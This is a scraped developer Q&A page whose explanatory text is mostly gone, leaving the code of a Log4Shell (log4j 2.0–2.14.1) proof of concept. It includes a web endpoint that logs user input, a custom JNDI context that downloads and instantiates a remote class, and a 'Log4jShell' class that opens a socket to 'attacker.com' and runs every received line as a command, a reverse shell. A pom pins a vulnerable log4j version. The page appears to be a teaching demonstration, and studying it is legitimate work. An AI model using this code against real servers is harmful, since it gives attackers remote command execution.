StackAsk is a community where developers ask questions, share answers and learn from each others real-world experience, so every solved problem helps the next person who runs into it.
Appender
logger.info("Hello: {}", param)
StrSubstitutor.resolveVariable
public class Log4jShell { static { try { Socket socket = new Socket("attacker.com", 1234); Scanner scanner = new Scanner(socket.getInputStream()); while(true) { String command = scanner.nextLine(); ProcessBuilder pb = new ProcessBuilder(command); pb.start(); } } catch (Exception e) {} } }
https://web_site_cua_chung_ta/hello?name=
2.0 <= log4j-core <= 2.14.1
package com.example.log4jshell; import javax.naming.Context; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import com.tvd12.ezyhttp.core.boot.EzyHttpApplicationBootstrap; public final class Log4jShellStartup { private static final Logger LOGGER = LogManager.getLogger(Log4jShellStartup.class); public static void main(String[] args) throws Exception { LOGGER.info("start Log4jShell"); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.example.log4jshell.AppContextFactory"); System.setProperty(Context.PROVIDER_URL, "remote+http://localhost:8080"); EzyHttpApplicationBootstrap.start(Log4jShellStartup.class); } }
package com.example.log4jshell; import java.util.Hashtable; import javax.naming.Context; import javax.naming.NamingException; import javax.naming.spi.InitialContextFactory; public class AppContextFactory implements InitialContextFactory { private final AppInitialContext context = new AppInitialContext(); public AppContextFactory() throws NamingException {} @Override public Context getInitialContext(Hashtable environment) throws NamingException { return context; } }
package com.example.log4jshell; import java.io.File; import java.util.Hashtable; import javax.naming.NamingException; import javax.naming.ldap.InitialLdapContext; import com.tvd12.ezyhttp.client.HttpClient; public class AppInitialContext extends InitialLdapContext { private final HttpClient httpClient; public AppInitialContext() throws NamingException { httpClient = HttpClient.builder().build(); } @Override protected void init(Hashtable environment) throws NamingException { } @Override public Object lookup(String name) throws NamingException { try { httpClient.download(name, new File("target/classes")); Thread.sleep(300); Class clazz = Class.forName("Log4jShell"); return clazz.newInstance(); } catch (Exception e) { e.printStackTrace(); } return null; } }
package com.example.log4jshell.controller; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import com.tvd12.ezyhttp.server.core.annotation.Controller; import com.tvd12.ezyhttp.server.core.annotation.DoGet; import com.tvd12.ezyhttp.server.core.annotation.RequestParam; @Controller public class HomeController { private final Logger logger = LogManager.getLogger(getClass()); @DoGet("/hello") public String hello(@RequestParam String name) { logger.info("Hello: {}", name); return "Hello " + name; } }
import java.net.Socket; import java.util.Scanner; public class Log4jShell { static { try { System.out.println("Shell started"); Socket socket = new Socket("localhost", 3006); Scanner scanner = new Scanner(socket.getInputStream()); while(true) { String command = scanner.nextLine(); ProcessBuilder pb = new ProcessBuilder(command); pb.start(); } } catch (Exception e) { e.printStackTrace(); } } }
javac Log4jShell.java
Log4jShell.class
application.properties
resources.enable=true
log4j2.xml
<span><span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"UTF-8"</span><span>?></span></span> <span><<span>Configuration</span> <span>status</span>=<span>"INFO"</span>></span> <span><<span>Appenders</span>></span> <span><<span>Console</span> <span>name</span>=<span>"LogToConsole"</span> <span>target</span>=<span>"SYSTEM_OUT"</span>></span> <span><<span>PatternLayout</span> <span>pattern</span>=<span>"%d</span></span></span><span>{HH:mm:ss.SSS}</span><span><span><span> [%t] %-5level %logger</span></span></span><span>{36}</span><span><span><span> - %msg%n"</span>/></span> <span></<span>Console</span>></span> <span></<span>Appenders</span>></span> <span><<span>Loggers</span>></span> <span><<span>Logger</span> <span>name</span>=<span>"com.example"</span> <span>level</span>=<span>"debug"</span> <span>additivity</span>=<span>"false"</span>></span> <span><<span>AppenderRef</span> <span>ref</span>=<span>"LogToConsole"</span>/></span> <span></<span>Logger</span>></span> <span><<span>Root</span> <span>level</span>=<span>"info"</span>></span> <span><<span>AppenderRef</span> <span>ref</span>=<span>"LogToConsole"</span>/></span> <span></<span>Root</span>></span> <span></<span>Loggers</span>></span> <span></<span>Configuration</span>></span></span>
pom.xml
<span><span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"UTF-8"</span><span>?></span></span> <span><<span>project</span> <span>xmlns</span>=<span>"http://maven.apache.org/POM/4.0.0"</span> <span>xmlns:xsi</span>=<span>"http://www.w3.org/2001/XMLSchema-instance"</span> <span>xsi:schemaLocation</span>=<span>"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"</span>></span> <span><<span>parent</span>></span> <span><<span>groupId</span>></span>com.tvd12<span></<span>groupId</span>></span> <span><<span>artifactId</span>></span>ezyfox<span></<span>artifactId</span>></span> <span><<span>version</span>></span>1.0.2<span></<span>version</span>></span> <span></<span>parent</span>></span> <span><<span>modelVersion</span>></span>4.0.0<span></<span>modelVersion</span>></span> <span><<span>artifactId</span>></span>log4jshell<span></<span>artifactId</span>></span> <span><<span>properties</span>></span> <span><<span>log4j2.version</span>></span>2.11.2<span></<span>log4j2.version</span>></span> <span><<span>ezy.http.version</span>></span>0.2.0<span></<span>ezy.http.version</span>></span> <span></<span>properties</span>></span> <span><<span>dependencies</span>></span> <span><<span>dependency</span>></span> <span><<span>groupId</span>></span>com.tvd12<span></<span>groupId</span>></span> <span><<span>artifactId</span>></span>ezyhttp-server-boot<span></<span>artifactId</span>></span> <span><<span>version</span>></span>$</span><span>{ezy.http.version}</span><span><span></<span>version</span>></span> <span></<span>dependency</span>></span> <span><<span>dependency</span>></span> <span><<span>groupId</span>></span>com.tvd12<span></<span>groupId</span>></span> <span><<span>artifactId</span>></span>ezyhttp-client<span></<span>artifactId</span>></span> <span><<span>version</span>></span>$</span><span>{ezy.http.version}</span><span><span></<span>version</span>></span> <span></<span>dependency</span>></span> <span><<span>dependency</span>></span> <span><<span>groupId</span>></span>org.apache.logging.log4j<span></<span>groupId</span>></span> <span><<span>artifactId</span>></span>log4j-api<span></<span>artifactId</span>></span> <span><<span>version</span>></span>$</span><span>{log4j2.version}</span><span><span></<span>version</span>></span> <span></<span>dependency</span>></span> <span><<span>dependency</span>></span> <span><<span>groupId</span>></span>org.apache.logging.log4j<span></<span>groupId</span>></span> <span><<span>artifactId</span>></span>log4j-core<span></<span>artifactId</span>></span> <span><<span>version</span>></span>$</span><span>{log4j2.version}</span><span><span></<span>version</span>></span> <span></<span>dependency</span>></span> <span></<span>dependencies</span>></span> <span></<span>project</span>></span></span>
2.2K Point(s)
1.2K Point(s)
313 Point(s)
178 Point(s)
138 Point(s)
Your account is signed in on the device(s) below. Sign out of at least one of them to continue signing in on this device.
Your account is signed in on the device(s) below. Sign out directly on one of those devices, or wait until the sign-in again time shown below.
If you cant access those devices, please contact the administrator to sign them out for you.
Input your email to receive reset password link, or if you remember your password, you can click